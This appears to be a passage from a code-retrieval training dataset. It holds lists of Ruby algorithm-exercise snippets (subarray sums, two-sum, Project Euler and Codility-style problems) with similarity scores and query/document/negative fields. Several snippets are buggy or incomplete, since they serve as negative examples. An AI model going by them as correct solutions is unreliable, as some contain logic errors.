#{s_arriba = s_array.slice(0, s_array.size / 2)}\"\n puts \"first half bytes : #{bytes_array1 = bytes_array.slice(0, s_array.size / 2)}\"\n\n # how to check if the position is balanced ?\n\n puts \"second half #{s_abajo = s_array.slice((s_array.size / 2), s_array.size).reverse}\"\n puts \"second half bytes : #{bytes_array2 = bytes_array.slice((bytes_array.size / 2), bytes_array.size).reverse}\"\n\n bytes_array1\n bytes_array2\n\n pos_balanced = 0\n igual = [81, 184, 248]\n ((bytes_array.size) / 2).times do |i|\n pos_comparison = bytes_array1[i] + bytes_array2[i]\n\n if igual.include?(pos_comparison)\n pos_balanced = pos_balanced + 0\n else\n pos_balanced = pos_balanced + 1\n end\n end\n pos_balanced == 0 ? condition2 = true : condition2 = false\n\n if condition1 && condition2\n puts \"YES\"\n else\n puts \"YES\"\n end\nend", "def solution n\n gap = 0\n max = 0\n\n while n > 0 && n % 2 != 1\n n = n / 2\n end\n\n while n > 0\n if n % 2 == 0\n gap += 1\n else\n if gap > max\n max = gap\n end\n gap = 0\n end\n n = n / 2\n end\n\n max\nend", "def nth_ugly_number(n, a, b, c)\n# a-b, a-c, b-c, ab-c\n ab_lcm = a.lcm(b) # there are some a present in b\n ac_lcm = a.lcm(c) # there are some a present in c\n bc_lcm = b.lcm(c) # there are some b present in c\n abc_lcm = ab_lcm.lcm(c) # there are some a*b in c (because c is the biggest)\n \n # using set theory for binary search\n # a + b + c - ab_lcm - ac_lcm - bc_lcm + abc_lcm\n (1..2*10**9).bsearch{|x| x/a + x/b + x/c - x/ab_lcm - x/ac_lcm - x/bc_lcm + x/abc_lcm >= n}\nend", "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend", "def largest_contiguous_subsum_fast(list)\n start = Time.now\n max_sum = list[0]\n cur_sum = list[0]\n list[1..-1].each do |el|\n if el >= cur_sum && cur_sum < 0\n cur_sum = el\n else\n cur_sum += el\n end\n max_sum = cur_sum if cur_sum > max_sum\n end\n finish = Time.now\n puts \"Runtime: #{finish - start}\"\n return max_sum\nend", "def largest_contiguous_subsum1(list)\n p Time.now\n sub_arrays = []\n list.each_index do |i|\n list.each_index do |j|\n next if j < i\n sub_arrays << list[i..j]\n end\n end\n sub_arrays.map{|numbers| numbers.inject(:+)}.max\n p Time.now\nend", "def balancedSums(arr)\n return 'YES' if arr.size == 1\n\n total = arr.sum\n left_sum = 0\n\n (0..arr.size - 1).each do |i|\n rest_sum = total - left_sum - (arr[i] || 0)\n if left_sum == rest_sum\n return 'YES'\n end\n\n left_sum += arr[i]\n end\n\n 'NO'\nend", "def solve_again_with_issues(array, sum)\n result = {}\n freq = {}\n count = 0\n\n array.each do |el|\n freq[el] ? freq[el] += 1 : freq[el] = 1\n end\n\n array.each do |el|\n if freq[sum - el] && !result[sum - el]\n count += freq[sum - el]\n end\n end\n count/2\nend", "def f(n, x)\n # $count += 1\n if n == 0\n x <= 0 ? 0 : 1\n elsif x <= 1\n 0\n elsif 1 < x && x <= 1 + $a[n - 1]\n f(n - 1, x - 1)\n elsif x == 2 + $a[n - 1]\n $p[n - 1] + 1\n elsif 2 + ($a[n - 1]) < x && x <= 2 + 2 * $a[n - 1]\n $p[n - 1] + 1 + f(n - 1, x - 2 - $a[n - 1])\n else\n 2 * $p[n - 1] + 1\n end\nend", "def solve( n = 100_000_000 )\n # Assuming the largest valid sum of squares is S = a^2 + (a - 1)^2 < n,\n # first find a and set aside space to cache that many running sums.\n len = (1 + Math.sqrt( 2*n )) / 2\n sos = Array.new( len )\n\n seen = []\n sos[0] = 1\n\n (1...len).each do |i|\n # Precompute the ∑ i^2 for all i <= a. \n ds = i*i + 2*i + 1\n sos[i] = sos[i - 1] + ds\n\n seen << sos[i] if sos[i].palindrome?\n\n # Most of the sum of square values will exceed n, so subtract lower sums\n # to check shorter runs.\n (i - 2).downto( 0 ) do |j|\n diff = sos[i] - sos[j]\n break unless diff < n\n\n # Update our total if the shorter run a[j] + a[j + 1] + ... + a[i] is\n # a palindrome.\n seen << diff if diff.palindrome?\n end\n end\n\n seen.uniq.reduce( :+ )\n end", "def is_zero_balanced(array)\n return false if array.reduce(:+) != 0\n return true if array.uniq.first == 0\n positives = array.select do |n|\n n > 0\n end\n positives.each do |n|\n # array.include? (-n) ? return true : return false\n if array.include? -n\n return true\n else\n return false\n end\n end\nend", "def findDiffSquares(n)\n sum = 0\n (1..n).each { |i|\n (1..n).each { |j|\n sum += i*j unless i == j\n }\n }\n sum\nend", "def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend", "def better_subsum(arr) # o(n)\n largest = 0 \n sum = 0 \n i = 0 \n j = 0\n\n while i != arr.length-1\n largest += arr[j]\n sum = largest if largest > sum \n if j == arr.length-1 \n i+=1 \n j = i \n largest = 0 \n else\n j+=1\n end \n end \n sum \n end", "def solution(arr)\n dp = Array.new(arr.max+2, 0)\n arr.each { |a| dp[a] += 1 }\n\n for i in 2...dp.size do\n dp[i] = [dp[i-2] + i*dp[i], dp[i-1]].max\n end\n dp.last\nend", "def solution(a)\n\traise ArgumentError.new(\"a has to be non empty array of max size #{MAX_LEN}\") if !a.is_a? Array or a.empty? or a.length > MAX_LEN\n\tret = 0\n\t#puts a.inspect\n\tmy_h = Hash.new\n\ta.each do |e|\n\t\tif my_h.include? e\n\t\t\tmy_h[e] += 1\n\t\telse\n\t\t\tmy_h[e] = 1\n\t\tend\n\tend\n\n\tmy_h_sort = my_h.sort_by {|k, v| -v}\n\t# -> my_h_sort[value][occurances]\n\treturn 0 if my_h_sort.first[1] < a.size/2\n\tleader_val = my_h_sort.first[0]\n\n\tocc_array = Array.new\n\toccurances = 0\n\ta.each do |e|\n\t\toccurances += 1 if e == leader_val\n\t\tocc_array.push(occurances)\n\tend\n\t#puts occ_array.inspect\n\n\tfor idx in (0...a.length-1) do\n\t\tsum1 = occ_array[idx]\n\t\tsum2 = occ_array.last - occ_array[idx]\n\n\t\t# puts \"#{idx}+1 < #{sum1*2}\"\n\t\t# puts \"#{(a.length - idx -1)} < #{(sum2*2 )} \"\n\n\t\tif (idx+1) < sum1 * 2 && (a.length - idx - 1 ) < sum2 * 2\n\t\t\t## we have a leader\n\t\t\t#puts \"YEAH #{idx}\"\n\t\t\tret += 1\n\t\tend\n\t\t\t#puts \"-------- ret: #{ret}\"\n\tend\n\treturn ret\nend", "def ideal_numbers(n)\n # perfects = []\n # factors = proper_factors(n)\n\n # while perfects.length <= n \n # factors.each do |factor|\n # sum = aliquot_sum(n)\n \n # if factor == perfect_number?(factor)\n # perfects << factor\n # end \n # end \n # end\n\n perfect_nums = []\n\n i = 1\n while perfect_nums.length < n \n perfect_nums << i if perfect_number?(i)\n i += 1\n end \n\n perfect_nums\nend", "def largest_contiguous_subsum1(list)\n greatest_sum = -1.0/0.0\n (0...list.length).each do |i|\n (i...list.length).each do |j|\n greatest_sum = list[i..j].sum if greatest_sum < list[i..j].sum\n end\n end\n greatest_sum\nend", "def solution(a)\n len = a.size\n unique = {}\n i = 0\n while i < len\n item = a[i]\n if unique.has_key?(item)\n unique[item] += 1\n else\n unique[item] = 1\n end\n i += 1\n end\n pairs = 0\n unique.each do |key,count|\n (1...count).step {|n| pairs += n }\n end\n return pairs > 1_000_000_000 ? 1_000_000_000 : pairs\nend", "def largest_contiguous_subsum(list) # O(n^2)\n array = []\n list.each_with_index do |ele1, i1| # O(n^2)\n (i1...list.length).each do |i2|\n array << list[i1..i2]\n end\n end\n\n max_sum = array.first.sum\n array[1..-1].each do |subarr| # O(n^2)\n sum = subarr.sum\n if sum > max_sum\n max_sum = sum\n end\n end\n\n max_sum\n\nend", "def largest_contiguous_subsum(list)\n new_arr = []\n\n (0...list.length).each do |idx1| #O(n)\n (0...list.length).each do |idx2| #O(n)\n if idx2 >= idx1 #O(1)\n new_arr << list[idx1..idx2].sum #O(1)\n end \n end \n \n end \n \n return new_arr.max #O(n)\nend", "def solution(a)\n # In production environment this will be my solution:\n # a.uniq.size\n #\n # But since this is a coding challenge, my assumption\n # is that you're looking for a by-hand O(N*logN) solution\n\n return 0 if a.empty?\n\n n = a.size\n ary = a.sort\n uniques = 1\n (1...n).each do |i|\n uniques += 1 if ary[i] != ary[i - 1]\n end\n uniques\nend", "def do_it(banks)\n current_banks = banks\n prior_banks = []\n repeated = false\n acc = 0\n while !repeated do\n acc += 1\n highest_bank = current_banks.max\n highest_bank_index = current_banks.index(highest_bank)\n give_away = highest_bank\n current_banks[highest_bank_index] = 0\n while give_away > 0\n if highest_bank_index == current_banks.length - 1\n current_banks.each_with_index do |bank, index|\n if give_away > 0\n current_banks[index] += 1\n give_away = give_away - 1\n end\n end\n else\n ((highest_bank_index + 1)...current_banks.length).each do |index|\n if give_away > 0\n current_banks[index] += 1\n give_away = give_away - 1\n end\n end\n (0..highest_bank_index).each do |index|\n if give_away > 0\n current_banks[index] += 1\n give_away = give_away - 1\n end\n end\n end\n end\n if !prior_banks.include?(current_banks.to_s)\n prior_banks << current_banks.to_s\n else\n repeated = true\n end\n end\n p acc\n do_it(current_banks)\nend", "def solve( n = 1_000_000 )\n sum = limit = 0\n \n while sum < n\n limit += 1\n limit2 = limit * limit\n \n 2.upto( limit << 1 ) do |bc|\n d = Math.sqrt( limit2 + bc*bc )\n sum += (bc > limit ? 1 + limit - (1 + bc)/2 : bc/2) if d.to_i == d\n end\n end\n\n limit\n end", "def solution(a)\n # write your code in Ruby 2.2\n \n is_perm = 0\n \n n = a.length\n b = [0]*n\n \n \n a.each do |v|\n break if v > n \n break if b[v] == 1 \n b[v] = 1\n end\n \n sum = b.inject(:+)\n if sum == n\n is_perm = 1\n end\n \n is_perm\nend", "def non_abundant_sums\r\n max = 28123\r\n range = (2..28123)\r\n abundants = range.select{|n| abundant?(n) }\r\n numbers_made_from_abundants = []\r\n abundants.each do |i|\r\n abundants.each do |j|\r\n sum = i + j \r\n break if sum > max \r\n numbers_made_from_abundants << sum \r\n end \r\n end \r\n (range.to_a - numbers_made_from_abundants).reduce(:+)\r\nend", "def largest_contiguous_subsum_once(arr)\n largest_subsum = 0\n current = 0\n\n arr.each do |elm|\n current += elm\n if largest_subsum < current\n largest_subsum = current\n elsif current < 0\n current = 0 \n end \n end \n\n # (0...arr.count).each do |i|\n # current_subsum = (largest_subsum + arr[i])\n # if current_subsum > largest_subsum \n # largest_subsum = current_subsum \n # elsif current_subsum < 0 \n # largest_subsum = 0 \n # end\n # end \n\n largest_subsum \nend", "def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend", "def largest_contiguous_subsum_1(list)\r\n subarrays = [] #1\r\n list.each_with_index do |ele1, i| #n\r\n list[i...list.length].each_with_index do |ele2,i2| #(n-1)\r\n subarrays << list[i..i2+i] #k \r\n end\r\n end # n^2\r\n subarrays.map { |subarray| subarray.sum}.max # n^x\r\nend", "def solve( n = 16 )\n max = 0\n \n (1..10).each do |a|\n (1..10).each do |b|\n next if b == a\n (1..10).each do |c|\n next if c == b || c == a\n (1..10).each do |d|\n next if d == c || d == b || d == a\n (1..10).each do |e|\n next if e == d || e == c || e == b || e == a\n\n rotate = 3*[a, b, c, d, e].each_with_index.min[1]\n (1..10).each do |f|\n next if f == e || f == d || f == c || f == b || f == a\n (1..10).each do |g|\n next if g == f || g == e || g == d || g == c || g == b || g == a\n \n t = a + f + g\n (1..10).each do |h|\n next if h == g || h == f || h == e || h == d || h == c || h == b || h == a\n next unless t == b + g + h\n\n (1..10).each do |i|\n next if i == h || i == g || i == f || i == e || i == d || i == c || i == b || i == a\n next unless t == c + h + i\n\n (1..10).each do |j|\n next if j == i || j == h || j == g || j == f || j == e || j == d || j == c || j == b || j == a\n next unless t == d + i + j && t == e + j + f\n\n s = [a, f, g, b, g, h, c, h, i, d, i, j, e, j, f]\n rotate.times {s.push s.shift}\n\n s = s.join\n next if n != s.length\n\n max = [max, s.to_i].max\n end\n end\n end\n end\n end\n end\n end\n end\n end\n end\n\n max\n end", "def sturges\n len = array.length\n return 1.0 if len == 0\n\n # return (long)(ceil(Math.log2(n)) + 1);\n return Math.log2(len).ceil + 1\n end", "def optimize(ary, total)\n return [] if ary.empty?\n table = []\n (ary.size+1).times { |i| table[i] = [] }\n (0..total).each { |zerg| table[0][zerg] = 0 }\n (1..ary.size).each do |base|\n table[base][0] = 0\n (1..total).each do |zerg|\n if ary[base-1].zerg <= zerg && (ary[base-1].minerals + table[base-1][zerg - ary[base-1].zerg] > table[base-1][zerg])\n table[base][zerg] = ary[base-1].minerals + table[base-1][zerg - ary[base-1][1]]\n else\n table[base][zerg] = table[base-1][zerg]\n end\n end\n end\n result = []\n i, k = ary.size, total\n while i > 0 && k > 0\n if table[i][k] != table[i-1][k]\n result << ary[i-1]\n k -= ary[i-1].zerg\n end\n i -= 1\n end\n result\nend", "def largest_contiguous_subsum2(list)\n # O(N) ==> Time\n # O(1) ==> Space\n largest = list.first\n curr = list.first\n\n len = list.length\n (1...len).each do |i|\n curr = 0 if curr < 0 \n curr += list[i]\n largest = curr if curr > largest\n end\n largest\nend", "def can_be_summed_by_two_abunds?(n, arr)\n i = 0\n while i < arr.length-1\n j = i+1\n while j < arr.length\n if arr[i] + arr[j] == n\n return true\n end\n j+=1\n end\n i+=1\n end\n return false\nend", "def contig_sum(array)\n greatest_diff = -Float::INFINITY\n subsets = []\n\n i = 0\n while i < array.length\n j = i + 1\n while j <= array.length\n subsets << array[i..j]\n j += 1\n end\n i += 1\n end\n\n subsets.each do |arr|\n sum = arr.inject(:+)\n if sum > greatest_diff\n greatest_diff = sum\n end\n end\n greatest_diff\n\nend", "def solution(h)\n h.inject([1, [h.first]]) do |(blocks, stack), n|\n next [blocks+1, stack.push(n)] if stack.last < n\n stack.pop while stack.any? && stack.last > n\n next [blocks, stack] if stack.last == n\n \n [blocks+1, stack.push(n)]\n end.first\nend", "def solve( n = 1_000_000_000 )\n log10 = Math.log10( n )\n\n sum = (0...log10).map do |i|\n if 0 == (i % 4)\n 0\n elsif 0 != (i % 2)\n 20 * 30**((i - 1)/2)\n else\n 100 * 500**((i - 2)/4)\n end\n end\n\n sum.reduce( :+ )\n end", "def okay_two_sum?(arr, target)\r\n arr = arr.sort #n log n\r\n i, j = 0, arr.length - 1 #2\r\n\r\n while j > i #n\r\n curr_sum = arr[i] + arr[j]\r\n if curr_sum > target\r\n j -= 1\r\n elsif curr_sum < target\r\n i += 1\r\n else\r\n return true\r\n end\r\n end\r\n false\r\nend", "def three_sum_fast(arr)\n arr = merge_sort(arr)\n count = 0\n\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n if bin_search(arr, -arr[i] - arr[j]) > j\n count += 1\n end\n }\n }\n count\nend", "def okay_two_sum?(arr, target_sum) #bsearch = log n => n * log n\n sorted_arr = arr.sort #.sort => n * log n\n sorted_arr.each_index do |i|\n j = sorted_arr.bsearch_index { |n| n + sorted_arr[i] == target_sum }\n return true if !j.nil? && j != i\n end\n false\nend", "def largest_contiguous_subsum_2(list)\n largest_sum = 0\n current_sum = 0\n\n list.each do |el|\n largest_sum = current_sum \n current_sum += el \n if current_sum < el \n current_sum = el \n end \n largest_sum = current_sum if largest_sum < current_sum\n end\n\n largest_sum\nend", "def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend" ]
[ "0.6749766", "0.6694612", "0.65521675", "0.65459865", "0.65139204", "0.65107286", "0.65090346", "0.65031624", "0.6502448", "0.6500158", "0.6444817", "0.6404294", "0.6392507", "0.6385821", "0.6349334", "0.63278955", "0.63092405", "0.63079727", "0.6266411", "0.6258028", "0.62498826", "0.62467176", "0.62427753", "0.62399054", "0.62384254", "0.62375355", "0.6236953", "0.6230835", "0.6227569", "0.61990476", "0.619366", "0.61919713", "0.6189795", "0.6187868", "0.6169968", "0.6168839", "0.6156761", "0.6146124", "0.61298907", "0.61235005", "0.6123329", "0.6117818", "0.61130357", "0.6112817", "0.61064315", "0.60916245", "0.60846275", "0.6075718", "0.6069389", "0.6057605", "0.60503787", "0.6049884", "0.60388243", "0.6037607", "0.6034629", "0.6030439", "0.60137135", "0.6011857", "0.601093", "0.59994453", "0.5988472", "0.5985066", "0.5983685", "0.59749144", "0.5971347", "0.5969338", "0.59640807", "0.5960262", "0.5959889", "0.5956249", "0.59550273", "0.5953213", "0.5949196", "0.594736", "0.5942441", "0.5937182", "0.59321046", "0.59319025", "0.59300274", "0.5929214", "0.5926472", "0.5918781", "0.591761", "0.5908354", "0.5905086", "0.5902595", "0.58934164", "0.5890845", "0.58884853", "0.5888134", "0.5883138", "0.5881914", "0.5874596", "0.5873063", "0.5872632", "0.586672", "0.58655304", "0.58554363", "0.5851004", "0.5850345", "0.5847776" ]
0.0
-1
Time Complexity: unbalO(n), balO(log n) Space Complexity: unbalO(n), balO(log n)
def find(key, node=@root) return nil if @root.nil? if key < node.key find(key, node.left) elsif key > node.key find(key, node.right) else return node.value end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_dublicate(array)\n sum = 1000000*(1000000+1)/2 # (n*(n+1))/2\n array.each do |el| \n sum -= el\n end\n return sum\nend", "def largest_subsum(list)\n max = list[0] # O(1)\n current_sum = list[0] # O(1)\n\n (1...list.length).each do |i| # O(n)\n # debugger\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end \n current_sum += list[i] # O(1)\n if current_sum > max # O(1)\n max = current_sum # O(1)\n end\n end\n\n max # O(1)\n\nend", "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend", "def main\n\n sum = 0\n\n (0..999).each do |i|\n sum += check(i)\n end\n\n puts \"Total - O(n) #{sum}\"\n\n # Needed to refresh following: https://en.wikipedia.org/wiki/Arithmetic_progression\n sum2 = sum_multiples(3, 1000) + sum_multiples(5, 1000) - sum_multiples(15, 1000)\n\n # Refreshed Big O too : http://stackoverflow.com/questions/487258/plain-english-explanation-of-big-o \n puts \"Total - O(1) #{sum2}\"\n\nend", "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "def dp_possible_trees(n)\n array = Array.new(n+2) { Array.new(n+1) { 0 } }\n (0...n+2).to_a.each do |i|\n array[i][0] = 1\n end\n\n sum = 0\n (1...n+1).to_a.each do |i|\n sum = 0\n (1..i).to_a.each do |j|\n array[j][i] = array[n+1][i-j] * array[n+1][j-1]\n sum += array[j][i]\n end\n array[n+1][i] = sum\n end\n array[n+1].last\nend", "def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend", "def sum_upon_sums(array)\n # Step 0: initialize variables => O(1)\n max = -1\n sum = 0\n\n # Step 1: Get Max and Sum => O(n)\n array.each do |num|\n max = num if num >= max\n sum += num\n end\n\n # Step 2: Get summation => O(1)\n summation = max * (max + 1) / 2\n\n # Step 3: Return Missing value by subtracting summation and sum => O(1)\n summation - sum\nend", "def isSumOfTwoAbundantNumbers n\n\n # we'll cycle over all abundant numbers less than n / 2\n if n / 2 < @@listOfAbundants.first\n return false\n end\n\n if @@listOfAbundants.last < n / 2\n for i in ((@@listOfAbundants.last + 1)..n)\n if isAbundant i\n @@listOfAbundants.push i\n end\n end\n end\n\n for a in @@listOfAbundants\n if a > n /2 \n return false\n end\n \n pair = n - a\n if @@listOfAbundants.include? pair\n return true\n end\n end\n\nend", "def solution(a)\n n = a.size\n a.sort!\n\n count = 0\n for i in 0...n-2 do\n k = i+2\n for j in i+1...n-1 do\n while k < n and a[i] + a[j] > a[k] do\n k += 1\n end\n count += k - j - 1\n end\n end\n count\nend", "def slow_solution(a)\n m = 0\n a.size.times do |i|\n a[i] = a[i].abs\n m = [a[i], m].max\n end\n maxsum = a.sum # sum of absolute val of all nums in array\n # maxsum = a.map(&:abs).sum <- Ruby shortcut\n\n # If dp = 1 at an index, it means some combo of elements in a add up to that index\n dp = [0] * (maxsum + 1)\n dp[0] = 1\n\n a.size.times do |j|\n maxsum.downto(0).each do |possible_sum|\n puts \"a[j]: #{a[j]}, possible sum: #{possible_sum}\"\n if (dp[possible_sum] == 1) and (possible_sum + a[j] <= maxsum)\n\n # if possible_sum + new element a[j] is possible sum, dp = 1!\n dp[possible_sum + a[j]] = 1\n puts \"Mark #{possible_sum + a[j]} as possible sum in dp\"\n end\n end\n puts \"row: #{j}, a[j]: #{a[j]}, dp: #{dp}\"\n puts\n end\n\n min_q_minus_p = maxsum\n\n # Divide array a into 2 parts, where P = sum of part 1 and Q = sum of part 2,\n # P + Q = maxsum, and P <= maxsum / 2 <= Q.\n # We want largest possible P to get smallest possible Q-P.\n\n # loop from 0 to maxsum / 2, covering every possible P, Q division\n (maxsum / 2 + 1).times do |possible_half_sum|\n # puts \"possible_half_sum: #{possible_half_sum}\"\n if dp[possible_half_sum] == 1 # means P or Q = possible_half_sum\n q_minus_p = maxsum - 2 * possible_half_sum\n # puts \"Q - P: #{q_minus_p}\"\n min_q_minus_p = [min_q_minus_p, q_minus_p].min\n # puts \"min Q - P: #{min_q_minus_p}\"\n end\n end\n\n min_q_minus_p\nend", "def find_amicables(n)\n pairs = []\n sum = 0\n for i in 0..n do \n next if pairs.include? i\n d = sum_proper_divisors(i)\n next if d == i\n p = sum_proper_divisors(d)\n if p == i \n pairs << d\n pairs << i\n sum += d + i\n end\n end\n return sum\nend", "def largest_contiguous_subsum_2(list)# [2, 3, -6, 7, -6, 7]\n largest_num = list[0]#2 O(1)\n running_sum = list[0]#2 - 5 after entering loop. O(1)\n\n (1...list.length).each do |i| #O(n) \n running_sum = 0 if running_sum < 0 #O(1)\n running_sum += list[i] #O(1)\n largest_num = running_sum if running_sum > largest_num #O(1)\n end\n return largest_num #O(1)\nend", "def solution(a)\n # In production environment this will be my solution:\n # a.uniq.size\n #\n # But since this is a coding challenge, my assumption\n # is that you're looking for a by-hand O(N*logN) solution\n\n return 0 if a.empty?\n\n n = a.size\n ary = a.sort\n uniques = 1\n (1...n).each do |i|\n uniques += 1 if ary[i] != ary[i - 1]\n end\n uniques\nend", "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "def sub_sum(list)\n sub_arr = []\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arr << list[i..j] if i <= j\n end\n end\n largest_continuous_sub_sum1(sub_arr)\nend", "def three_sum_fastest(arr)\n count = 0\n\n (0..arr.length - 2).each { |i|\n set = Set.new\n\n (i + 1..arr.length - 1).each { |j|\n if set.include?(-arr[i] - arr[j])\n count += 1\n end\n\n set.add(arr[j])\n }\n }\n count\nend", "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "def solution(a)\n n = a.size\n starting = Array.new(n, 0)\n ending = Array.new(n, 0)\n\n (1..n - 2).each {|i| starting[i] = [starting[i - 1] + a[i], 0].max}\n (1..n - 2).reverse_each {|i| ending[i] = [ending[i + 1] + a[i], 0].max}\n\n sum = 0\n (1..n - 2).each {|i| sum = [sum, starting[i - 1] + ending[i + 1]].max}\n sum\nend", "def solve( n = 1_000_000_000 )\n log10 = Math.log10( n )\n\n sum = (0...log10).map do |i|\n if 0 == (i % 4)\n 0\n elsif 0 != (i % 2)\n 20 * 30**((i - 1)/2)\n else\n 100 * 500**((i - 2)/4)\n end\n end\n\n sum.reduce( :+ )\n end", "def solve2( n = 150_000_000 )\n # Brute force.\n sum = 10\n i = 20\n\n while i < n\n if 0 != i % 3\n i2 = i*i\n\n # Must verify that the primes are consecutive (i.e. there aren't any\n # primes hiding between entries).\n if (i2 + 1).miller_rabin? &&\n (i2 + 3).miller_rabin? &&\n (i2 + 7).miller_rabin? &&\n (i2 + 9).miller_rabin? &&\n !(i2 + 11).miller_rabin? &&\n (i2 + 13).miller_rabin? &&\n !(i2 + 17).miller_rabin? &&\n !(i2 + 19).miller_rabin? &&\n !(i2 + 21).miller_rabin? &&\n !(i2 + 23).miller_rabin? &&\n (i2 + 27).miller_rabin?\n \n sum += i\n i += 315410\n end\n end\n\n # From observation that 10 | a_n in similar sequences.\n i += 10\n end\n\n sum\n end", "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend", "def solve( n = 100_000_000 )\n # Assuming the largest valid sum of squares is S = a^2 + (a - 1)^2 < n,\n # first find a and set aside space to cache that many running sums.\n len = (1 + Math.sqrt( 2*n )) / 2\n sos = Array.new( len )\n\n seen = []\n sos[0] = 1\n\n (1...len).each do |i|\n # Precompute the ∑ i^2 for all i <= a. \n ds = i*i + 2*i + 1\n sos[i] = sos[i - 1] + ds\n\n seen << sos[i] if sos[i].palindrome?\n\n # Most of the sum of square values will exceed n, so subtract lower sums\n # to check shorter runs.\n (i - 2).downto( 0 ) do |j|\n diff = sos[i] - sos[j]\n break unless diff < n\n\n # Update our total if the shorter run a[j] + a[j + 1] + ... + a[i] is\n # a palindrome.\n seen << diff if diff.palindrome?\n end\n end\n\n seen.uniq.reduce( :+ )\n end", "def bunny(n)\n return 0 if n == 0\n return n + bunny(n / 2.0 )\n # This passes the tests, though technically it never hits 0 (just approaches 0)\n # An alternate solution is to return 1 + bunny(n - 0.5) but that would have a slower time complexity O(n)\nend", "def abund? n\n arr = []\n tail = Math.sqrt n\n (1..tail).each do |x|\n if n % x == 0\n arr << x\n arr << n/x\n end\n arr.pop if x*x == n\n end\n n < arr.sum\nend", "def naive(array)\n max = -10000\n for i in (0..array.length - 1)\n for j in (i..array.length - 1)\n total = array[i..j].inject { |m,k| m + k }\n max = total if total > max\n end\n end\n max\nend", "def solution_dp_bu(p, n)\n dp = Array.new(n, MIN_INT)\n # we set p[0] and dp[0] to 0\n dp[0] = 0\n p = p.dup.unshift(0)\n\n (1..n).each do |i|\n dp[i] = (0..(i - 1)).reduce(MIN_INT) do |max, j|\n [max, dp[j] + p[i - j]].max\n end\n end\n\n dp.last\nend", "def largest_contiguous_subsum(arr) #BigO of O(n)\n max = 0 \n current_sum = 0\n arr.each_with_index do |el,idx|\n if current_sum + el >= el \n current_sum += el \n else \n current_sum = el \n end \n max = current_sum if current_sum > max \n end \n max\nend", "def n_naught_brute_vs_recursive(a)\n time_brute = Benchmark.realtime { brute_force_maximum_subarray(a) }\n time_recursive = Benchmark.realtime { maximum_subarray(a, 0, a.length - 1) }\n\n while time_brute < time_recursive do\n a << a.sample\n time_brute = Benchmark.realtime { brute_force_maximum_subarray(a) }\n time_recursive = Benchmark.realtime { maximum_subarray(a, 0, a.length - 1) }\n end\n\n result = a.length\nend", "def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend", "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend", "def 